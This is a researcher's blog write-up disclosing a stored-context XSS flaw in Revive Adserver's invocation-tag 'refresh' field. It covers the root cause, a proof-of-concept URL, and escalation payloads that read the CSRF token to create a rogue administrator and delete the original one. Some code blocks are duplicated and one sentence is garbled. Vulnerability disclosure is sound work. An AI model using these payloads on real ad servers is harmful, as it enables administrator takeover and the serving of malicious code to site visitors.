July 5, 2026
From a Forgotten htmlspecialchars() to Full Admin Takeover The Story of CVE-2026–50740

By kanon
3 min read
- From a Forgotten
htmlspecialchars()to Full Admin Takeover The Story of CVE-2026–50740
let me tell you a story about how one missing function call a single forgotten htmlspecialchars() turned into a full administrative takeover of an ad-serving platform used by publishers around the world.
This is the story of CVE-2026–50740.
What is Revive Adserver?
Revive Adserver is one of the most widely deployed open-source ad-serving platforms in the world. Publishers use it to manage banners, zones, and campaigns, and to generate the "invocation tags" (the small snippets of HTML/JS) they paste into their websites to actually display ads.
Because it sits in the admin panel of ad networks and publishers, whoever controls a Revive admin account effectively controls what code gets served to thousands of real website visitors. Keep that in your mind — it's the reason this bug matters far more than a typical alert(1).
The vulnerability affects Revive Adserver 6.0.7 and earlier.
When you open a zone's invocation page and pick the iFrame tag type (adframe), Revive builds an options form for you. One of those options is refresh — how often the ad iframe reloads.
The code that renders that field lives in:
lib/OX/Extension/invocationTags/InvocationTagsOptions.php → method refresh(), line 242:
$option .= "<input class='flat' type='text' name='refresh' size='' value='"
. ($maxInvocation->refresh ?? $this->defaultValues['refresh']) // <-- no htmlspecialchars()
. "' style='width:175px;' tabindex='" . ($maxInvocation->tabindex++) . "'> ...";$option .= "<input class='flat' type='text' name='refresh' size='' value='"
. ($maxInvocation->refresh ?? $this->defaultValues['refresh']) // <-- no htmlspecialchars()
. "' style='width:175px;' tabindex='" . ($maxInvocation->tabindex++) . "'> ...";What makes this a clear oversight: the sibling fields in the same file get it right — source() and what() both use htmlspecialchars($value, ENT_QUOTES). Only refresh() was missed.
I also confirmed refresh is always reachable for codetype=adframe (no conditional, no numeric guard), and that the other unescaped fields in this renderer are gated off and not reachable from this page. So refresh is the single exploitable parameter — but a reliable one.
The framework runs addslashes on the input (lib/max/Delivery/common.php:303), turning ' into \'. You'd think that kills the injection. It doesn't.
The sink is inside a single-quoted HTML attribute, and in HTML a backslash is just a literal character — it has no escaping meaning. The browser sees value='\'>…', closes the attribute at the ', and the injection lives. addslashes defends SQL/PHP string contexts; it does nothing in an HTML attribute. Classic context mismatch — the right defense in the wrong place is no defense at all.
Proof of Concept
'><svg/onload=alert(document.cookie)>'><svg/onload=alert(document.cookie)>Attack URL (payload URL-encoded):
http://{TARGET}/www/admin/zone-invocation.php?affiliateid=1&zoneid=1&codetype=invocationTags:oxInvocationTags:adframe&refresh=%27%3E%3Csvg%2Fonload%3Dalert(document.cookie)%3Ehttp://{TARGET}/www/admin/zone-invocation.php?affiliateid=1&zoneid=1&codetype=invocationTags:oxInvocationTags:adframe&refresh=%27%3E%3Csvg%2Fonload%3Dalert(document.cookie)%3EWhen an authenticated Admin/Manager opens it, the response becomes:
<input ... name='refresh' value='\'><svg/onload=alert(document.cookie)>'><input ... name='refresh' value='\'><svg/onload=alert(document.cookie)>'>The valuattribute closes at', >` closes the , and fires → JS runs in the admin's session.
Escalation: From alert() to Total Compromise
An alert proves execution; impact is what matters. The victim is an Admin, and every state-changing action just needs the CSRF token — which is sitting in the DOM. Same pattern for all payloads: read the token from the page → build a FormData → fetch() with credentials: 'include'.
Create a new Administrator account:
\'><svg/onload=f=new(FormData)();f.append(`submit`,`1`);f.append(`login`,`pwned_admin`);f.append(`link`,`1`);f.append(`token`,document.getElementsByName(`token`)[0].value);f.append(`contact_name`,`Pwned`);f.append(`email_address`,`pwned@evil.com`);f.append(`language`,`en`);fetch(`/www/admin/admin-user.php`,{method:`POST`,credentials:`include`,body:f})>\'><svg/onload=f=new(FormData)();f.append(`submit`,`1`);f.append(`login`,`pwned_admin`);f.append(`link`,`1`);f.append(`token`,document.getElementsByName(`token`)[0].value);f.append(`contact_name`,`Pwned`);f.append(`email_address`,`pwned@evil.com`);f.append(`language`,`en`);fetch(`/www/admin/admin-user.php`,{method:`POST`,credentials:`include`,body:f})>Delete the original Administrator:
\'><svg/onload=fetch(`/www/admin/admin-user-unlink.php?userid=1&token`+String.fromCharCode(61)+document.getElementsByName(`token`)[0].value,{credentials:`include`})>\'><svg/onload=fetch(`/www/admin/admin-user-unlink.php?userid=1&token`+String.fromCharCode(61)+document.getElementsByName(`token`)[0].value,{credentials:`include`})>(I also demonstrated renaming the admin via account-user-name-language.php using the same technique.)
The full chain: the attacker creates their own admin, deletes the legitimate one, and owns the entire ad server — from a single link, sent to someone who never even typed a password.
Why a "Simple XSS" Became a Catastrophe:
The bug is one missing function — but the environment makes it critical:
-
It's in the admin panel. The victim is high-privileged by definition. XSS here is game over.
-
CSRF tokens are readable from the DOM. Once you execute JS in the same origin, the anti-CSRF
tokenstops being a defense — you just read and replay it. -
The platform serves code to real visitors. Revive can set banner/zone prepend/append HTML/JS that gets shipped to end users — so this isn't just account takeover, it's a supply-chain distribution channel.
One forgotten escape → one admin link → potentially thousands of poisoned page views.
The Fix
As small as the bug — encode the value like its siblings already do:
The most dangerous bugs are rarely exotic — they're the boring one-line mistakes that slip past a developer who did everything else right. A single field, in a file where every other field was escaped correctly, was enough to hand over an entire ad server.
Read the code. Follow the taint. Prove the impact. And always be grateful — every discovery is a gift.
الحمد لله رب العالمين.
— Mahmoud Khaled (Kanon4)